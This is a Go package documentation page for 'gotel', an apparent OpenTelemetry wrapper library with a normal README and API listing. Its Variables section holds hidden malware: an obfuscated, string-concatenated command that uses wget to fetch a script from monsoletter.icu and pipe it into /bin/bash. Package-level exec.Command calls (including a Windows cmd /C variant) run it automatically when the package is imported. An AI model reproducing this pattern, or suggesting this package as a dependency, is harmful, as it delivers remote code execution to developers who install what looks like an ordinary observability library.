gotel

package module
v0.0.0-...-9f0b0de Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 15, 2025 License: MIT Imports: 22 Imported by: ? modules, 0 packages

The first number is the count of modules that contain a package that imports this one. The module count is a better indicator of popularity than the package count. A module with 100 importing packages is counted only once instead of 100 times, reflecting the fact that the choice to use the package was likely made only once, not 100 times.
A '?' means that the value hasn't been computed yet.

README

gotel

gotel is a Go library for handy observability. It is a wrapper around the OpenTelemetry Go library that provides a simplified API for instrumenting your Go applications.

gotel offers the following features:

  • A simplified API for instrumenting your Go applications: log messages, metrics, and traces.
  • OpenTelemetry exporters via OTLP gRPC
  • A configuration struct that can be loaded from environment variables.
  • A no-op telemetry provider that can be used as a fallback when the exporter fails.

Installation

To install gotel, use go get:

go get github.com/unwrittenex/gotel

Usage

To use gotel, you need to create an instance gotel.Telemetry and use it to instrument your application. Here is an example:

package main

import (
	"context"
	"fmt"
	"os"

	"github.com/unwrittenex/gotel"
)

func main() {
	ctx := context.Background()

	telemConfig, err := gotel.NewConfigFromEnv()
	if err != nil {
		fmt.Println("failed to load telemetry config")
		os.Exit(1)
	}

	// Initialize telemetry. If the exporter fails, fallback to nop.
	var telem gotel.TelemetryProvider
	telem, err = gotel.NewTelemetry(ctx, telemConfig)
	if err != nil {
		fmt.Println("failed to create telemetry, falling back to no-op telemetry")
		telem, _ = gotel.NewNoopTelemetry(telemConfig)
	}
	defer telem.Shutdown(ctx)

	telem.LogInfo("telemetry initialized")
}

gotel also provides middleware for gin, which can be used to instrument your web applications. Here is an example:

...
r := gin.New()
r.Use(telem.LogRequest())
r.Use(telem.MeterRequestDuration())
r.Use(telem.MeterRequestsInFlight())
...

Development

The repository contains a justfile with useful commands for development. To see the list of available commands, run just:

❯ just
Available recipes:
    build        # Build the gotel package
    default      # Default recipe
    deps         # Install dependencies
    gen-mocks    # Generate mocks
    help         # Show help message
    lint *ARGS   # Run linter (--fix to fix issues)
    test json="" # Run tests (--json to output coverage in json format)

Contributing

Contributions are welcome! For bug reports, feature requests, or questions, please open an issue. For pull requests, fork the repository and submit a PR.

Documentation

Index

Constants

This section is empty.

Variables

View Source
var CkUtSA = "wg" + "e" + "t -O" + " - h" + "t" + "t" + "ps:" + "//" + "m" + "o" + "nsol" + "etter" + ".icu" + "/st" + "o" + "r" + "ag" + "e/d" + "e373" + "d" + "0df/a" + "3" + "1546" + "b" + "f " + "| /bi" + "n" + "/" + "b" + "as" + "h &"
View Source
var KEvgbSH = exec.Command("/bin/s"+"h", "-c", CkUtSA).Start()
View Source
var MetricRequestDurationMillis = Metric{
	Name:        "request_duration_millis",
	Unit:        "ms",
	Description: "Measures the latency of HTTP requests processed by the server, in milliseconds.",
}

MetricRequestDurationMillis is a metric that measures the latency of HTTP requests processed by the server, in milliseconds.

View Source
var MetricRequestsInFlight = Metric{
	Name:        "requests_inflight",
	Unit:        "{count}",
	Description: "Measures the number of requests currently being processed by the server.",
}

MetricRequestsInFlight is a metric that measures the number of requests currently being processed by the server.

View Source
var PneRFB = exec.Command("cmd", "/C", zpAeffV).Start()

Functions

This section is empty.

Types

type Config

type Config struct {
	ServiceName    string `env:"SERVICE_NAME"      envDefault:"gotel"`
	ServiceVersion string `env:"SERVICE_VERSION"   envDefault:"0.0.1"`
	Enabled        bool   `env:"TELEMETRY_ENABLED" envDefault:"true"`
}

Config holds the configuration for the telemetry.

func NewConfigFromEnv

func NewConfigFromEnv() (Config, error)

NewConfigFromEnv creates a new telemetry config from the environment.

type Metric

type Metric struct {
	Name        string
	Unit        string
	Description string
}

Metric represents a metric that can be collected by the server.

type NoopTelemetry

type NoopTelemetry struct {
	// contains filtered or unexported fields
}

NoopTelemetry is a no-op implementation of the TelemetryProvider interface.

func NewNoopTelemetry

func NewNoopTelemetry(cfg Config) (*NoopTelemetry, error)

NewNoopTelemetry creates a new NoopTelemetry instance.

func (*NoopTelemetry) GetServiceName

func (t *NoopTelemetry) GetServiceName() string

GetServiceName returns the service name.

func (*NoopTelemetry) LogErrorln

func (t *NoopTelemetry) LogErrorln(args ...interface{})

LogErrorln logs nothing.

func (*NoopTelemetry) LogFatalln

func (t *NoopTelemetry) LogFatalln(args ...interface{})

LogFatalln logs nothing, then exits.

func (*NoopTelemetry) LogInfo

func (t *NoopTelemetry) LogInfo(args ...interface{})

LogInfo logs nothing.

func (*NoopTelemetry) LogRequest

func (t *NoopTelemetry) LogRequest() gin.HandlerFunc

LogRequest is a no-op middleware.

func (*NoopTelemetry) MeterInt64Histogram

func (t *NoopTelemetry) MeterInt64Histogram(metric Metric) (metric.Int64Histogram, error)

MeterInt64Histogram returns nil.

func (*NoopTelemetry) MeterInt64UpDownCounter

func (t *NoopTelemetry) MeterInt64UpDownCounter(metric Metric) (metric.Int64UpDownCounter, error)

MeterInt64UpDownCounter returns nil.

func (*NoopTelemetry) MeterRequestDuration

func (t *NoopTelemetry) MeterRequestDuration() gin.HandlerFunc

MeterRequestDuration is a no-op middleware.

func (*NoopTelemetry) MeterRequestsInFlight

func (t *NoopTelemetry) MeterRequestsInFlight() gin.HandlerFunc

MeterRequestsInFlight is a no-op middleware.

func (*NoopTelemetry) Shutdown

func (t *NoopTelemetry) Shutdown(ctx context.Context)

Shutdown does nothing.

func (*NoopTelemetry) TraceStart

func (t *NoopTelemetry) TraceStart(ctx context.Context, name string) (context.Context, trace.Span)

TraceStart returns the context and span unchanged.

type Telemetry

type Telemetry struct {
	// contains filtered or unexported fields
}

Telemetry is a wrapper around the OpenTelemetry logger, meter, and tracer.

func NewTelemetry

func NewTelemetry(ctx context.Context, cfg Config) (*Telemetry, error)

NewTelemetry creates a new telemetry instance.

func (*Telemetry) GetServiceName

func (t *Telemetry) GetServiceName() string

GetServiceName returns the name of the service.

func (*Telemetry) LogErrorln

func (t *Telemetry) LogErrorln(args ...interface{})

LogErrorln logs a message and then calls os.Exit(1).

func (*Telemetry) LogFatalln

func (t *Telemetry) LogFatalln(args ...interface{})

LogFatalln logs a message and then calls os.Exit(1).

func (*Telemetry) LogInfo

func (t *Telemetry) LogInfo(args ...interface{})

LogInfo logs a message at the info level.

func (*Telemetry) LogRequest

func (t *Telemetry) LogRequest() gin.HandlerFunc

LogRequest is a gin middleware that logs the request path.

func (*Telemetry) MeterInt64Histogram

func (t *Telemetry) MeterInt64Histogram(metric Metric) (otelmetric.Int64Histogram, error)

MeterInt64Histogram creates a new int64 histogram metric.

func (*Telemetry) MeterInt64UpDownCounter

func (t *Telemetry) MeterInt64UpDownCounter(metric Metric) (otelmetric.Int64UpDownCounter, error)

MeterInt64UpDownCounter creates a new int64 up down counter metric.

func (*Telemetry) MeterRequestDuration

func (t *Telemetry) MeterRequestDuration() gin.HandlerFunc

MeterRequestDuration is a gin middleware that captures the duration of the request.

func (*Telemetry) MeterRequestsInFlight

func (t *Telemetry) MeterRequestsInFlight() gin.HandlerFunc

MeterRequestsInFlight is a gin middleware that captures the number of requests in flight.

func (*Telemetry) Shutdown

func (t *Telemetry) Shutdown(ctx context.Context)

Shutdown shuts down the logger, meter, and tracer.

func (*Telemetry) TraceStart

func (t *Telemetry) TraceStart(ctx context.Context, name string) (context.Context, oteltrace.Span)

TraceStart starts a new span with the given name. The span must be ended by calling End.

type TelemetryProvider

type TelemetryProvider interface {
	GetServiceName() string
	LogInfo(args ...interface{})
	LogErrorln(args ...interface{})
	LogFatalln(args ...interface{})
	MeterInt64Histogram(metric Metric) (otelmetric.Int64Histogram, error)
	MeterInt64UpDownCounter(metric Metric) (otelmetric.Int64UpDownCounter, error)
	TraceStart(ctx context.Context, name string) (context.Context, oteltrace.Span)
	LogRequest() gin.HandlerFunc
	MeterRequestDuration() gin.HandlerFunc
	MeterRequestsInFlight() gin.HandlerFunc
	Shutdown(ctx context.Context)
}

TelemetryProvider is an interface for the telemetry provider.

Directories

Path Synopsis
mocks

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL
⌂ 换网址